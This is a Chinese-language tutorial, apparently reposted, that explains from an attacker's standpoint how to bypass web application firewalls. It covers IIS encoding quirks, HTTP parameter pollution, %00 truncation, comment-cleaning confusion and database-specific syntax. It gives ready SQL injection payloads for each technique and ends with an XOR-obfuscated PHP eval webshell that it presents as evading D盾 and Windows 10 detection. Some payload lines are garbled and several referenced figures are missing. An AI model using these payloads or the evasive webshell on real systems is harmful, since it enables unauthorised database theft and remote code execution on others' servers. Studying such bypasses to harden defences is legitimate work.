前言

首先我們要了解什麼是waf：
Web應用防火牆，Web Application Firewall的簡稱。

我們口頭相談的waf有什麼功能呢？
WAF可以發現和攔截各類Web層面的攻擊，記錄攻擊日誌，實時預警提醒，在Web應用本身存在缺陷的情況下保障其安全。

但是，WAF不是萬能的、完美的、無懈可擊的，在種種原因下，它們也會有各自的缺陷，作爲用戶不可以盲目相信WAF而不注重自身的安全。

我們來看一下目前主流的WAF繞過技術

作爲攻擊者，我們要清楚我們利用哪方面來進行繞過：

Web容器的特性
Web應用層的問題
WAF自身的問題
數據庫的一些特性

Web容器特性

Web容器特性1

在IIS+ASP的環境中，對於URL請求的 參數值 中的%，如果和後面的字符構成的字符串在URL編碼表之外，ASP腳本處理時會將其忽略。

現在假設有如下請求：

http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in

在WAF層，獲取到的id參數值爲 1 union all se%lect 1,2,3,4 fro%m adm%in ，此時waf因爲 % 的分隔，無法檢測出關鍵字 select from 等，但最後ASP腳本處理時會將 % 忽略。

但是因爲IIS的特性，id獲取的實際參數就變爲 1 union all select 1,2,3,4 from admin ，從而繞過了waf。

這個特性僅在iis+asp上 asp.net並不存在。

Web容器特性2

使用IIS的Unicode編碼字符

IIS支持Unicode編碼字符的解析，但是某些WAF卻不一定具備這種能力。
//已知 ‘s’ 的unicode編碼爲：%u0053, ‘f’ 的unicode編碼爲 %u0066
如下：

http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin

但是IIS後端檢測到了Unicode編碼會將其自動解碼，腳本引擎和數據庫引擎最終獲取到的參數會是： 1 union all select 1,2,3,4 from admin

這種情況需要根據不同的waf進行相應的測試，並不是百發百中。但是對於繞過來說，往往只要一個字符成功繞過即可達到目的。

Web容器特性3

HPP(HTTP Parameter Pollution)：HTTP參數污染：
如下圖

**在HTTP協議中是允許同樣名稱的參數出現多次的。**例如：

http://zkaq666.com/1.asp?id=123&id=456 這個請求。

**根據WAF的不同，一般會同時分開檢查 id=123 和 id=456 ，也有的僅可能取其中一個進行檢測。**但是對於 IIS+ASP/ASP.NET來說，它最終獲取到的ID參數的值是 123,空格456 (asp) 或 123,456 (asp.net)。

所以對於這類過濾規則，攻擊者可以通過：
id=union+select+password/&id=/from+admin來逃避對 select * from 的檢測。因爲HPP特性，id的參數值最終會變爲：union select password/,/from admin

數中的“+”全部變成了空格，原因是URL中默認的將“+”號轉義了。要想顯示“+”：
修改客戶端，將客戶端帶“+”的參數中的“+”全部替換爲‍“2B%”，這樣參數傳到服務器端時就能得到“+”了。

id=union+select+users&id=passwords+from+admin變爲union select users,passwords from admin

Web容器的特性 –4

畸形HTTP請求

**當向Web服務器發送畸形的，非RFC2616標準的HTTP請求時，Web服務器出於兼容的目的，會盡可能解析畸形HTTP請求。而如果Web服務器的兼容方式與WAF不一致，則可能會出現繞過的情況。**下面來看這個POST請求：

如果將請求改爲

這個請求包就變爲了：Method不合法，沒有協議字段HTTP/1.1 ，也沒有Host字段。

如果在HTTP/1.1協議中，缺少HOST字段會返回400 bad request。但是某些版本的Apache在處理這個請求時，默認會設置協議爲HTTP/0.9，Host會默認使用Apache默認的servername，這種畸形的請求仍然能夠被處理。

如果某些WAF在處理數據的時候嚴格按照GET，POST等方式來獲取數據，或者通過正則來處理數據庫包，就會因爲某些版本的Apache寬鬆的請求方式而被繞過。

Web應用層的問題

多重編碼問題

如果Web應用程序能夠接收多重編碼的數據，而WAF只能解碼一層(或少於WEB應用程序能接收的層數)時，WAF會因爲解碼不完全導致防禦機制被繞過。

多數據來源的問題

如Asp和Asp.NET中的Request對象對於請求數據包的解析過於寬鬆，沒有依照RFC的標準來，開發人員在編寫代碼時如果使用如下方式接收用戶傳入的參數

ID=Request("ID")
ID=Request.Params("ID")

WEB程序可從以下3種途徑獲取到參數ID的參數值：

從GET請求中獲取ID的參數值；
如果GET請求中沒有ID參數，嘗試從POST的ID參數中獲取參數值；
如果GET和POST中都獲取不到ID的參數值，那麼從Cookies中的ID參數獲取參數值。

這樣對於某些WAF來說，如果僅檢查了GET或POST的，那麼來自Cookie的注入攻擊就無能爲力了，更何況來自於這三種方式組合而成的參數污染的繞過方法呢？由此造成的的漏洞之一就是cookie注入漏洞。

白名單機制

WAF存在某些機制，不處理和攔截白名單中的請求數據：

指定IP或IP段的數據。
來自於搜索引擎爬蟲的訪問數據。
其他特徵的數據

如以前某些WAF爲了不影響站點的優化，將User-Agent爲某些搜索引擎（如谷歌）的請求當作白名單處理，不檢測和攔截。僞造HTTP請求的User-Agent非常容易，只需要將HTTP請求包中的User-Agent修改爲谷歌搜索引擎的User-Agent即可暢通無阻。

數據獲取方式存在缺陷

某些WAF無法全面支持GET、POST、Cookie等各類請求包的檢測，當GET請求的攻擊數據包無法繞過時，轉換成POST可能就繞過去了。或者，POST以 Content-Type: application/x-www-form-urlencoded 無法繞過時，轉換成上傳包格式的Content-Type: multipart/form-data 就能夠繞過去

WAF自身的問題

數據處理不恰當

1、%00截斷

將 %00 進行URL解碼，即是C語言中的NULL字符
如果WAF對獲取到的數據存儲和處理不當，那麼 %00 解碼後會將後面的數據截斷，造成後面的數據沒有經過waf檢測。

解析：WAF在獲取到參數id的值並解碼後，參數值將被截斷成 1/* ，後面的攻擊語句將沒有被WAF拿去進行檢測。又由於有/**/註釋，所以不影響sql的執行：

2、&字符處理

**這些WAF會使用&符號分割 par1 、 par2 和 par3 ，然後對其參數值進行檢測。**但是，如果遇到這種構造：

這裏的 %26 是 & 字符
waf會將上傳的參數分解成3部分:

如果將這3個參數分別進行檢測，某些WAF是匹配不到攻擊特徵的。

數據清洗不恰當

當攻擊者提交的參數值中存在大量干擾數據時，如大量空格、TAB、換行、%0c、註釋等，WAF需要對其進行清洗，篩選出真實的攻擊數據進行檢測，以提高檢查性能，節省資源。
如果WAF對數據的清洗不恰當，會導致真實的攻擊數據被清洗，剩餘的數據無法被檢測出攻擊行爲。

規則通用性問題

通用型的WAF，一般無法獲知後端使用的是哪些WEB容器、什麼數據庫、以及使用的什麼腳本語言。每一種WEB容器、數據庫以及編程語言，它們都有自己的特性，想使用通用的WAF規則去匹配和攔截，是非常難的。
通用型WAF在考慮到它們一些共性的同時，也必須兼顧它們的特性，否則就很容易被一些特性給Bypass！

爲性能和業務妥協

要全面兼容各類Web Server及各類數據庫的WAF是非常難的，爲了普適性，需要放寬一些檢查條件，暴力的過濾方式會影響業務。
對於通用性較強的軟WAF來說，不得不考慮到各種機器和系統的性能，故對於一些超大數據包、超長數據可能會跳過不檢測。
以上就是WAF自身的一些問題，接下來我們會針對這些問題進行講解，看看WAF是怎麼受這些問題影響的。
然後是數據庫的一些特性，不同的數據庫有一些屬於自己的特性，WAF如果不能處理好這些特性，就會出很大的問題。

實例講解WAF繞過的思路和方法

一、數據提取方式存在缺陷，導致WAF被繞過

某些WAF從數據包中提取 檢測特徵 的方式存在缺陷，如正則表達式不完善，某些攻擊數據因爲某些干擾字符的存在而無法被提取。

示例:

http://localhost/test/Article. php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

某WAF在後端會將刪除線部分當作註釋清洗掉：

Request:

http://localhost/Article.php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

WAF:

http://localhost/Article.php?type=1&x=+8id- 2 union ol seleet 1.23,45 from etual8y +

二、數據清洗方式不正確，導致WAF被繞過

當攻擊者提交的參數值中存在大量干擾數據時，如大量空格、TAB、換行、%0C、註釋等，WAF需要對其進行清洗：
(爲提升性能和降低規則複雜性)，篩選出真實的攻擊數據進行檢測，但是，如果清洗方式不正確，會導致真正的攻擊部分被清洗，然後拿去檢測的是不含有攻擊向量的數據，從而被Bypass!

實例：

htp://localhostest/Article .php?id=9999-"/*" union all select 1,2,3,4,5 as "*/"from mysql.user

某些WAF會將9999-"/*" union all select 1 ,2,3, 4,5 as "/*" from mysql.user清洗爲: 9999-""from mysql.user
然後去檢測是否有攻擊特徵,如果沒有，執行原始語句：

9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user

其實，對於 /*來說，它只是一個字符串（因爲加上了引號，所以sql不會將其解析爲註釋）
對於 */ 來說，它也是一個字符串，在這裏還充當一個別名

但是對於WAF來說，它會認爲這是多行註釋符，把中間的內容清洗掉去進行檢測，當然檢測不到什麼東西。

三、規則通用性問題，導致WAF被繞過

比如對SQL注入數據進行清洗時，WAF一般不能知道後端數據庫是MySQL還是SQL Server，那麼對於MySQL 的 /*!50001Select*/ 來說，這是一個Select的命令，而對於SQL Server來說，這只不過是一個註釋而已，註釋的內容爲 !50001Select 。

尤其是對於通用性WAF，這一點相當難做，很難去處理不同數據庫的特性之間的問題。

大家可以發現，很多WAF對錯誤的SQL語句是不攔截的。

同樣的，在Mysql中 # 是註釋，但是在SQL Server中 # 只是一個字符串。

那麼如下語句： 9999’ and 1=(select top 1 name as # from master…sysdatabases)— 會被當作爲： 9999’ and 1=(select top 1 name as 註釋

其實，這裏的 # 只是一個字符，充當一個別名的角色而已。

如果後端數據庫是SQL Server，這樣的語句是沒問題的。 但是通用型WAF怎麼能知道後端是SQL Server呢？

@WAF對上傳的檢測和處理

一、爲性能和業務妥協

對於通用性較強的軟WAF來說，不得不考慮到各種機器和系統的性能，故對於一些超大數據包、超長數據可能會跳過不檢測。

在上傳數據包部分，強行添加5萬個字符，有些WAF會直接不檢測放行，或者，檢測其中的一部分。比如，檢測最前面5w個字符有沒有攻擊特徵，如果沒有，放行。

針對這種，不能光靠WAF，我們應該在我們的WEB容器層面或應用程序層面來限定上傳數據的大小。所以，我們不能過度依賴於WAF。

還有很多如繞過D盾木馬攔截waf的方法：
其實萬變不離其蹤，繞過的關鍵在於構建靈巧的payload

一下是我瞭解的一個木馬繞過方法，win10的防護不會對其進行攔截

<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval("n".$b);
?>

// 變量$a的值我是利用異或賦值的，$a = “~+d()”^”!{+{}”;，而字符串”~+d()”^”!{+{}”異或的結果爲_POST,然後$b = ${$a}[a];與$b = $_POST[a]等價，在將其傳入eval()中

// {}在變量間接引用中進行定界，避免歧義,避免變量和後面的代碼字符串連在一起。例如 ${$my_var[8]}與${$my_var}[8]的區分

但是單純的一句話木馬：<?php eval($_REQUEST[a]);?>是絕對不可能在對方電腦上正常執行的所以我們還是要不斷與時俱進的。

原文地址： https://www.anquanke.com/post/id/203880

WAF是如何被繞過的？

前言